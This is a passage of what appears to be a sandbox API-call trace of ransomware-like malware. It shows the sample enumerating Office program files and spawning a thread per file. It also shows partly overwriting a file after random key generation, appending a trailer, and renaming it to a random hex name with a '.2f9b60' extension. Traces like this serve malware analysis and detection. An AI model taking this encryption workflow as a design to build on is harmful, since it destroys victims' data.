_Dest=0x202aeec0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0098.021] wcscat (in: _Dest=0x202aeec0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0098.021] wcscat (in: _Dest=0x202aeec0, _Source="MSART2.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" [0098.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aeec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1468 [0098.022] FindNextFileW (in: hFindFile=0x1cd9d7f0, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xe12e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART3.BDR", cAlternateFileName="")) returned 1 [0098.022] wcscmp (_String1="MSART3.BDR", _String2=".") returned 1 [0098.022] wcscmp (_String1="MSART3.BDR", _String2="..") returned 1 [0098.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202aef50 [0098.022] wcscpy (in: _Dest=0x202aef50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0098.022] wcscat (in: _Dest=0x202aef50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0098.022] wcscat (in: _Dest=0x202aef50, _Source="MSART3.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" [0098.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aef50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x146c [0098.023] FindNextFileW (in: hFindFile=0x1cd9d7f0, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x3902, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART4.BDR", cAlternateFileName="")) returned 1 [0098.023] wcscmp (_String1="MSART4.BDR", _String2=".") returned 1 [0098.023] wcscmp (_String1="MSART4.BDR", _String2="..") returned 1 [0098.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202aefe0 [0098.023] wcscpy (in: _Dest=0x202aefe0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0098.023] wcscat (in: _Dest=0x202aefe0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0098.023] wcscat (in: _Dest=0x202aefe0, _Source="MSART4.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART4.BDR" [0098.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aefe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1470 [0098.024] FindNextFileW (in: hFindFile=0x1cd9d7f0, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x3dac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART5.BDR", cAlternateFileName="")) returned 1 [0098.024] wcscmp (_String1="MSART5.BDR", _String2=".") returned 1 [0098.024] wcscmp (_String1="MSART5.BDR", _String2="..") returned 1 [0098.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202af070 [0098.024] wcscpy (in: _Dest=0x202af070, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0098.024] wcscat (in: _Dest=0x202af070, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0098.024] wcscat (in: _Dest=0x202af070, _Source="MSART5.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" [0098.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1474 [0098.025] FindNextFileW (in: hFindFile=0x1cd9d7f0, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xd7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART6.BDR", cAlternateFileName="")) returned 1 [0098.025] wcscmp (_String1="MSART6.BDR", _String2=".") returned 1 [0098.025] wcscmp (_String1="MSART6.BDR", _String2="..") returned 1 [0098.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202af100 [0098.025] wcscpy (in: _Dest=0x202af100, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0098.025] wcscat (in: _Dest=0x202af100, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0098.025] wcscat (in: _Dest=0x202af100, _Source="MSART6.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" [0098.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1478 [0098.026] FindNextFileW (in: hFindFile=0x1cd9d7f0, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART7.BDR", cAlternateFileName="")) returned 1 [0098.026] wcscmp (_String1="MSART7.BDR", _String2=".") returned 1 [0098.026] wcscmp (_String1="MSART7.BDR", _String2="..") returned 1 [0098.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202af190 [0098.026] wcscpy (in: _Dest=0x202af190, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0098.026] wcscat (in: _Dest=0x202af190, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0098.026] wcscat (in: _Dest=0x202af190, _Source="MSART7.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" [0098.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x147c [0098.027] FindNextFileW (in: hFindFile=0x1cd9d7f0, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xbfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART8.BDR", cAlternateFileName="")) returned 1 [0098.027] wcscmp (_String1="MSART8.BDR", _String2=".") returned 1 [0098.027] wcscmp (_String1="MSART8.BDR", _String2="..") returned 1 [0098.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202af220 [0098.027] wcscpy (in: _Dest=0x202af220, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0098.027] wcscat (in: _Dest=0x202af220, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0098.027] wcscat (in: _Dest=0x202af220, _Source="MSART8.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" [0098.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1480 [0098.028] FindNextFileW (in: hFindFile=0x1cd9d7f0, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc696, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART9.BDR", cAlternateFileName="")) returned 1 [0098.028] wcscmp (_String1="MSART9.BDR", _String2=".") returned 1 [0098.028] wcscmp (_String1="MSART9.BDR", _String2="..") returned 1 [0098.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202af2b0 [0098.029] wcscpy (in: _Dest=0x202af2b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0098.029] wcscat (in: _Dest=0x202af2b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0098.029] wcscat (in: _Dest=0x202af2b0, _Source="MSART9.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" [0098.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af2b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1484 [0098.029] FindNextFileW (in: hFindFile=0x1cd9d7f0, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc696, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART9.BDR", cAlternateFileName="")) returned 0 [0098.030] FindClose (in: hFindFile=0x1cd9d7f0 | out: hFindFile=0x1cd9d7f0) returned 1 [0098.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57dc0) returned 1 [0098.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0098.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3260) returned 1 Thread: id = 382 os_tid = 0xf28 [0090.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr")) returned 0x20 [0090.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr", dwFileAttributes=0x20) returned 1 [0090.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa90 [0090.006] GetFileSizeEx (in: hFile=0xa90, lpFileSize=0x2661fae0 | out: lpFileSize=0x2661fae0*=56514) returned 1 [0090.006] SetFilePointerEx (in: hFile=0xa90, liDistanceToMove=0xdcbe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.006] ReadFile (in: hFile=0xa90, lpBuffer=0x2661fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2661faa8, lpOverlapped=0x0 | out: lpBuffer=0x2661fa60*, lpNumberOfBytesRead=0x2661faa8*=0x4, lpOverlapped=0x0) returned 1 [0090.008] SetFilePointerEx (in: hFile=0xa90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a9c0 [0090.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0090.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1b0 [0090.008] NtQuerySystemTime (in: CurrentTime=0x2661f9a0 | out: CurrentTime=0x2661f9a0*=132462176958694000) returned 0x0 [0090.008] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x5f5ac399 [0090.008] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x191f396d [0090.008] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x3c9bec75 [0090.008] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x3127199 [0090.008] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x68cf797e [0090.008] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x257c059e [0090.008] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x765770cf [0090.008] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x4759fc90 [0090.008] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x91185ce [0090.008] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x59eb096c [0090.008] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x2ecc38cc [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x272aac95 [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x139f5296 [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x4498dc50 [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x1dfd80f8 [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x7a2d5cca [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x77efa42e [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x6ba353c2 [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x5d7faf71 [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x4dac569b [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x10dfced4 [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x1eaaf21 [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x593bd1f1 [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x50567f76 [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x6fdd65bb [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x3db069ca [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x3d3d1f8 [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x4e785d9d [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x63f7c87d [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x216974d9 [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x62772610 [0090.009] RtlRandomEx (in: Seed=0x2661f990 | out: Seed=0x2661f990) returned 0x5d831ede [0090.017] SetFilePointerEx (in: hFile=0xa90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.017] ReadFile (in: hFile=0xa90, lpBuffer=0x1cee1e20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2661fa00, lpOverlapped=0x0 | out: lpBuffer=0x1cee1e20*, lpNumberOfBytesRead=0x2661fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0090.018] SetFilePointerEx (in: hFile=0xa90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0090.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0090.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a9c0 [0090.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a9c0) returned 1 [0090.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cee5a30 [0090.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a9c0 [0090.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1b0 [0090.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1b0) returned 1 [0090.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0090.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0090.019] WriteFile (in: hFile=0xa90, lpBuffer=0x1cee5a30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2661fa00, lpOverlapped=0x0 | out: lpBuffer=0x1cee5a30*, lpNumberOfBytesWritten=0x2661fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0090.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cee5a30) returned 1 [0090.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cee1e20) returned 1 [0090.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9fcb0 [0090.020] SetFilePointerEx (in: hFile=0xa90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0090.021] WriteFile (in: hFile=0xa90, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2661fab0, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x2661fab0*=0x112, lpOverlapped=0x0) returned 1 [0090.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0090.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0090.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a210 [0090.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a210) returned 1 [0090.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a210 [0090.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0090.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a240 [0090.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a240) returned 1 [0090.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0090.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0090.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd97350 [0090.022] sprintf (in: _Dest=0x1cd97350, _Format="%c%c" | out: _Dest="21") returned 2 [0090.023] sprintf (in: _Dest=0x1cd97352, _Format="%c%c" | out: _Dest="06") returned 2 [0090.023] sprintf (in: _Dest=0x1cd97354, _Format="%c%c" | out: _Dest="90") returned 2 [0090.023] sprintf (in: _Dest=0x1cd97356, _Format="%c%c" | out: _Dest="b2") returned 2 [0090.023] sprintf (in: _Dest=0x1cd97358, _Format="%c%c" | out: _Dest="76") returned 2 [0090.023] sprintf (in: _Dest=0x1cd9735a, _Format="%c%c" | out: _Dest="4d") returned 2 [0090.023] sprintf (in: _Dest=0x1cd9735c, _Format="%c%c" | out: _Dest="bd") returned 2 [0090.023] sprintf (in: _Dest=0x1cd9735e, _Format="%c%c" | out: _Dest="4f") returned 2 [0090.023] sprintf (in: _Dest=0x1cd97360, _Format="%c%c" | out: _Dest="ba") returned 2 [0090.023] sprintf (in: _Dest=0x1cd97362, _Format="%c%c" | out: _Dest="d0") returned 2 [0090.023] sprintf (in: _Dest=0x1cd97364, _Format="%c%c" | out: _Dest="5f") returned 2 [0090.023] sprintf (in: _Dest=0x1cd97366, _Format="%c%c" | out: _Dest="44") returned 2 [0090.023] sprintf (in: _Dest=0x1cd97368, _Format="%c%c" | out: _Dest="5d") returned 2 [0090.023] sprintf (in: _Dest=0x1cd9736a, _Format="%c%c" | out: _Dest="53") returned 2 [0090.023] sprintf (in: _Dest=0x1cd9736c, _Format="%c%c" | out: _Dest="6f") returned 2 [0090.023] sprintf (in: _Dest=0x1cd9736e, _Format="%c%c" | out: _Dest="f8") returned 2 [0090.023] sprintf (in: _Dest=0x1cd97370, _Format="%c%c" | out: _Dest="5b") returned 2 [0090.023] sprintf (in: _Dest=0x1cd97372, _Format="%c%c" | out: _Dest="eb") returned 2 [0090.023] sprintf (in: _Dest=0x1cd97374, _Format="%c%c" | out: _Dest="73") returned 2 [0090.023] sprintf (in: _Dest=0x1cd97376, _Format="%c%c" | out: _Dest="88") returned 2 [0090.023] sprintf (in: _Dest=0x1cd97378, _Format="%c%c" | out: _Dest="5a") returned 2 [0090.023] sprintf (in: _Dest=0x1cd9737a, _Format="%c%c" | out: _Dest="de") returned 2 [0090.024] sprintf (in: _Dest=0x1cd9737c, _Format="%c%c" | out: _Dest="5c") returned 2 [0090.024] sprintf (in: _Dest=0x1cd9737e, _Format="%c%c" | out: _Dest="f7") returned 2 [0090.024] sprintf (in: _Dest=0x1cd97380, _Format="%c%c" | out: _Dest="68") returned 2 [0090.024] sprintf (in: _Dest=0x1cd97382, _Format="%c%c" | out: _Dest="5c") returned 2 [0090.024] sprintf (in: _Dest=0x1cd97384, _Format="%c%c" | out: _Dest="0e") returned 2 [0090.024] sprintf (in: _Dest=0x1cd97386, _Format="%c%c" | out: _Dest="e9") returned 2 [0090.024] sprintf (in: _Dest=0x1cd97388, _Format="%c%c" | out: _Dest="3f") returned 2 [0090.024] sprintf (in: _Dest=0x1cd9738a, _Format="%c%c" | out: _Dest="8b") returned 2 [0090.024] sprintf (in: _Dest=0x1cd9738c, _Format="%c%c" | out: _Dest="03") returned 2 [0090.024] sprintf (in: _Dest=0x1cd9738e, _Format="%c%c" | out: _Dest="ed") returned 2 [0090.024] RtlInitAnsiString (in: DestinationString=0x2661fb28, SourceString="210690b2764dbd4fbad05f445d536ff85beb73885ade5cf7685c0ee93f8b03ed" | out: DestinationString="210690b2764dbd4fbad05f445d536ff85beb73885ade5cf7685c0ee93f8b03ed") [0090.024] RtlAnsiStringToUnicodeString (in: DestinationString=0x2661faf8, SourceString="210690b2764dbd4fbad05f445d536ff85beb73885ade5cf7685c0ee93f8b03ed", AllocateDestinationString=1 | out: DestinationString="210690b2764dbd4fbad05f445d536ff85beb73885ade5cf7685c0ee93f8b03ed") returned 0x0 [0090.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85b910 [0090.024] wcscat (in: _Dest=0x1b85bb50, _Source="210690b2764dbd4f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\210690b2764dbd4f") returned="C:\\Program Files\\Microsoft Office\\Office14\\210690b2764dbd4f" [0090.024] wcscat (in: _Dest=0x1b85bb50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\210690b2764dbd4f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\210690b2764dbd4f.2f9b60" [0090.024] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\210690b2764dbd4f.2f9b60", NtPathName=0x2661fad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\210690b2764dbd4f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0090.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1ce10c60 [0090.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10c60) returned 1 [0090.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77af50) returned 1 [0090.026] 